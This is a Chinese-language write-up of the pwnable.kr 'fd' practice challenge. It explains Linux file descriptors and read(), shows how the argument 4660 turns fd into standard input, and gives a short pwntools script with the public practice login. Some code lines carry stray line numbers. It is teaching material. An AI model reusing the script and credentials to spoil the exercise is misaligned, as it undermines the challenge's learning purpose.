pwnable.kr1-fd


题目最下方有个ssh命令,这是linux的远程连接命令,(host=pwnable.kr , user =fd password=2222 password=guest)
可以打开linux终端,直接输入那行命令进行连接
ssh fd@pwnable.kr -p2222
输入那行命令后输入密码,有时候会提示安全性问题,选择Y(yes),输入密码,输入密码的时候是不会回显的(显示在屏幕上)

密码为guest,然后ls(ls命令学习) 查看有什么文件,然后输入cat fd.c 查看fd.c的文件内容,之后发现有三个文件分别为fd、fd.c 、flag。
fd@ubuntu:~$ ls
fd fd.c flag

显然不能直接查看flag
fd@ubuntu:~$ cat flag
cat: flag: Permission denied
我们抓取源码

fd@ubuntu:~$ cat fd.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234; //此处设置fd的值,解题时应想办法为0
int len = 0;
len = read(fd, buf, 32); //让fd=0,我们就可以用标准输入(键盘)控制buf(缓存)的值了,
if(!strcmp("LETMEWIN\n", buf)){ //此处告诉我们的目标是让它等于"LETMEWIN\n"
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

随便输入,会出现啥?

1
2
3
4
5
6
7
8
fd@ubuntu:~$ ./fd
pass argv[1] a number
fd@ubuntu:~$ ./fd 3
learn about Linux file IO
fd@ubuntu:~$ ./fd 2
learn about Linux file IO
fd@ubuntu:~$ ./fd 1
learn about Linux file IO

那么开始分析

所需知识:

文件描述符

  对于内核而言,所有打开的文件都通过文件描述符引用。文件描述符是一个非负整数。当打开一个现有文件或创建一个新文件时,内核向进程返回一个文件描述符。当读或写一个文件时,使用open或create返回的文件描述符表示该文件,将其作为参数传给read或write函数。

read 函数

read函数———详解

ssize_t read(int filedes, void *buf, size_t nbytes);
// 返回:若成功则返回读到的字节数,若已到文件末尾则返回0,若出错则返回-1
// filedes:文件描述符[0-标准输入(stdin),1-标准输出(stdout),2-标准错误输出(stderr)]
// buf:读取数据缓存区
// nbytes:要读取的字节数
有几种情况可使实际读到的字节数少于要求读的字节数:
1)读普通文件时,在读到要求字节数之前就已经达到了文件末端。例如,若在到达文件末端之前还有30个字节,而要求读100个字节,则read返回30,下一次再调用read时,它将返回0(文件末端)。
2)当从终端设备读时,通常一次最多读一行。
3)当从网络读时,网络中的缓存机构可能造成返回值小于所要求读的字结束。
4)当从管道或FIFO读时,如若管道包含的字节少于所需的数量,那么read将只返回实际可用的字节数。
5)当从某些面向记录的设备(例如磁带)读时,一次最多返回一个记录。
6)当某一个信号造成中断,而已经读取了部分数据。
main函数中:

argc

argc是命令行参数个数,char argv[]是指所有命令行参数,
对于C语言int main(int argc char
argv[])来说,argc保存的是命令行总的参数个数(包括程序名),argv这是传入参数的数组.
举个例子,当你执行: ./test 1 2 3 时,argc = 4 而 argv[0] = “test”,argv[1] = 1,argv[2] = 2,argv[3] = 3

char *envp[]

*envp[]是环境变量(argv[1]位置处存放的是命令行输入的第一个参数)

atoi

atoi函数的作用是把字符转化为int型数据。 命令行读入的参数默认是字符型(如:atio(10)=‘10’)

ssize_t read(int fd,void * buf,size_t count);

函数说明
read()会参数fd所有的文件传送count个字节到buf指针所指的内存中。若参数count为0,则read )不会有作用并返回0返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或是无可读取的数据,此外文件读写位置会随读取到的字节移动。

整数值 名称 < unistd.h > 符号常量[1] < stdio.h > 文件流[2]

1
2
3
0   标准输入    STDIN_FILENO    标准输入
1 标准输出 STDOUT_FILENO 标准输出
2 标准错误 STDERR_FILENO 标准错误

推理:read(0,buf,32)表示从键盘读入至多32个字节到buf中

那么我们只要控制了FD的值为标准输入,那么buf中的值就可以用我们的键盘输入了,
目标是使FD为0,那么我们传进去的第一个参数就是为0x1234,即十进制的4660
这里要填十进制因为天0x1234中的0x它会读成字符的,然后把后面的字符变成10进制

解题

0为标准输入,1为标准输出,2为标准错误,而我们看到read(fd, buf, 32);//关键点,这里fd便是关键,若为0,我们自己输入后,变成功得到flag,所以,我们就要推回去,怎么让fd为0,也就是atoiargv[1]大小为0x1234(atoi是c语言的将字符串转化为数字,假设字符串为str =1234,他会转化为数字int=1234),而0x1234是16进制的,用计算器转换下为4660,也就是说我们要使argv[1]为4660,好,整个思路理清了,接下来便是怎么利用了

//这好像是脚本?蛮放着。。。

1
2
3
4
5
6
from pwn import *
4 pwn_ssh=ssh(host='pwnable.kr',user='fd',password='guest',port=2222)#远程连接
5 print(pwn_ssh.connected())#连接成功判断
6 sh=pwn_ssh.process(argv=['fd','4660'],executable='./fd')#加载进程
7 sh.sendline('LETMEWIN')#发送一行数据,在末尾加上\n
8 print(sh.recvall())#接受到EOF


原文:https://blog.csdn.net/u010334666/article/details/81192987
原文:https://blog.csdn.net/qq_38204481/article/details/79711702